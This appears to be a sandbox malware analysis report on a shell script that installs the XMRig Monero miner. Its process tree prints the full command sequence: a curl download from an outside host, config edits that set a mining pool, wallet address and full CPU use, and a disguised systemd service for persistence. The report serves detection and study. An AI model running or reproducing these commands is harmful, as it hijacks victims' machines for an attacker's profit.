Analysis

  • max time kernel
    6s
  • max time network
    1051s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01/07/2024, 12:07

General

  • Target
    script.sh
  • Size 8KB
  • Sample240701-pad1ss1aqf
  • SHA256 d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1410
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1413
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1414
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1417
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1418
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1459
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1460
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1461
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1461
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1461
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1461
                      • /usr/bin/rm
                        rm /tmp/xmrig.tar.gz
                        2⤵
                          PID:1462
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                            PID:1463
                          • /root/lampp/xmrig
                            /root/lampp/xmrig --help
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:1464
                          • /usr/bin/sed
                            sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                            2⤵
                              PID:1469
                            • /usr/bin/cut
                              cut -f1 -d.
                              2⤵
                                PID:1468
                              • /usr/bin/hostname
                                hostname
                                2⤵
                                  PID:1467
                                • /usr/bin/sed
                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1470
                                  • /usr/bin/sed
                                    sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                    2⤵
                                      PID:1471
                                    • /usr/bin/sed
                                      sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2004-amd64-20240508-en-2\",/" /root/lampp/config.json
                                      2⤵
                                        PID:1472
                                      • /usr/bin/sed
                                        sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                        2⤵
                                          PID:1473
                                        • /usr/bin/sed
                                          sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                          2⤵
                                            PID:1474
                                          • /usr/bin/sed
                                            sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                            2⤵
                                              PID:1475
                                            • /usr/bin/sed
                                              sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                              2⤵
                                                PID:1476
                                              • /usr/bin/cp
                                                cp /root/lampp/config.json /root/lampp/config_background.json
                                                2⤵
                                                • Reads runtime system information
                                                PID:1477
                                              • /usr/bin/sed
                                                sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                                2⤵
                                                  PID:1478
                                                • /usr/bin/cat
                                                  cat
                                                  2⤵
                                                    PID:1479
                                                  • /usr/bin/chmod
                                                    chmod +x /root/lampp/miner.sh
                                                    2⤵
                                                      PID:1480
                                                    • /usr/bin/sudo
                                                      sudo -n true
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1481
                                                      • /usr/bin/true
                                                        true
                                                        3⤵
                                                          PID:1483
                                                      • /usr/bin/awk
                                                        awk "{print \$2}"
                                                        2⤵
                                                          PID:1486
                                                        • /usr/bin/grep
                                                          grep MemTotal /proc/meminfo
                                                          2⤵
                                                            PID:1485
                                                          • /usr/bin/cat
                                                            cat
                                                            2⤵
                                                              PID:1487
                                                            • /usr/bin/sudo
                                                              sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                              2⤵
                                                                PID:1488
                                                                • /usr/bin/mv
                                                                  mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                  3⤵
                                                                    PID:1489
                                                                • /usr/bin/sudo
                                                                  sudo killall xmrig
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:1490
                                                                  • /usr/bin/killall
                                                                    killall xmrig
                                                                    3⤵
                                                                    • Reads runtime system information
                                                                    PID:1491
                                                                • /usr/bin/sudo
                                                                  sudo systemctl daemon-reload
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:1492
                                                                  • /usr/bin/systemctl
                                                                    systemctl daemon-reload
                                                                    3⤵
                                                                    • Reads EFI boot settings
                                                                    • Enumerates kernel/hardware configuration
                                                                    • Reads runtime system information
                                                                    PID:1493
                                                                • /usr/bin/sudo
                                                                  sudo systemctl enable lampp.service
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:1519
                                                                  • /usr/bin/systemctl
                                                                    systemctl enable lampp.service
                                                                    3⤵
                                                                    • Reads EFI boot settings
                                                                    • Enumerates kernel/hardware configuration
                                                                    PID:1532
                                                                • /usr/bin/sudo
                                                                  sudo systemctl start lampp.service
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:1558
                                                                  • /usr/bin/systemctl
                                                                    systemctl start lampp.service
                                                                    3⤵
                                                                    • Reads EFI boot settings
                                                                    • Enumerates kernel/hardware configuration
                                                                    • Reads runtime system information
                                                                    PID:1560

                                                              Network

                                                                    MITRE ATT&CK Enterprise v15

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    config.json

                                                                    • Path /root/lampp/config.json
                                                                    • Size 2KB
                                                                    • SHA256 578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81
                                                                    • MD5 SHA1 SHA512

                                                                    sed81dH2K

                                                                    • Path /root/lampp/sed81dH2K
                                                                    • Size 2KB
                                                                    • SHA256 73d855564b0e9c0a39591c2828cad0711395de3f28e9d12bab78884c104b4dfb
                                                                    • MD5 SHA1 SHA512

                                                                    sedAiCyok

                                                                    • Path /root/lampp/sedAiCyok
                                                                    • Size 2KB
                                                                    • SHA256 5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e
                                                                    • MD5 SHA1 SHA512

                                                                    sedSFVKVw

                                                                    • Path /root/lampp/sedSFVKVw
                                                                    • Size 2KB
                                                                    • SHA256 3163dd84de53fedc420834fcc57e73196639e011f5181c3d17e6d2849f5925e5
                                                                    • MD5 SHA1 SHA512

                                                                    sedaR3hLN

                                                                    • Path /root/lampp/sedaR3hLN
                                                                    • Size 2KB
                                                                    • SHA256 ff996594dcdb7cf095e1c005b91c358b54e0c86a324757ecfd264cb3380486c8
                                                                    • MD5 SHA1 SHA512

                                                                    sedfDPmjV

                                                                    • Path /root/lampp/sedfDPmjV
                                                                    • Size 2KB
                                                                    • SHA256 6540ef19b12f77f4820f6bb9adfa98c41c90ef3d34d4a905c773f41353caf483
                                                                    • MD5 SHA1 SHA512

                                                                    sedhoW5Xs

                                                                    • Path /root/lampp/sedhoW5Xs
                                                                    • Size 2KB
                                                                    • SHA256 984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f
                                                                    • MD5 SHA1 SHA512

                                                                    xmrig

                                                                    • Path /root/lampp/xmrig
                                                                    • Size 8.4MB
                                                                    • SHA256 716e84db45117a22f80f70c4f02242d665bc6be9f52acbb6bc64a5fb01adc70a
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    lampp.service

                                                                    • Path /tmp/lampp.service
                                                                    • Size 177B
                                                                    • SHA256 b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf
                                                                    • MD5 SHA1 SHA512

                                                                    sh-thd.gcJo40

                                                                    • Path /tmp/sh-thd.gcJo40
                                                                    • Size 253B
                                                                    • SHA256 f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012
                                                                    • MD5 SHA1 SHA512

                                                                    xmrig.tar.gz

                                                                    • Path /tmp/xmrig.tar.gz
                                                                    • Size 3.4MB
                                                                    • SHA256 80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0
                                                                    • MD5 SHA1 SHA512 SSDEEP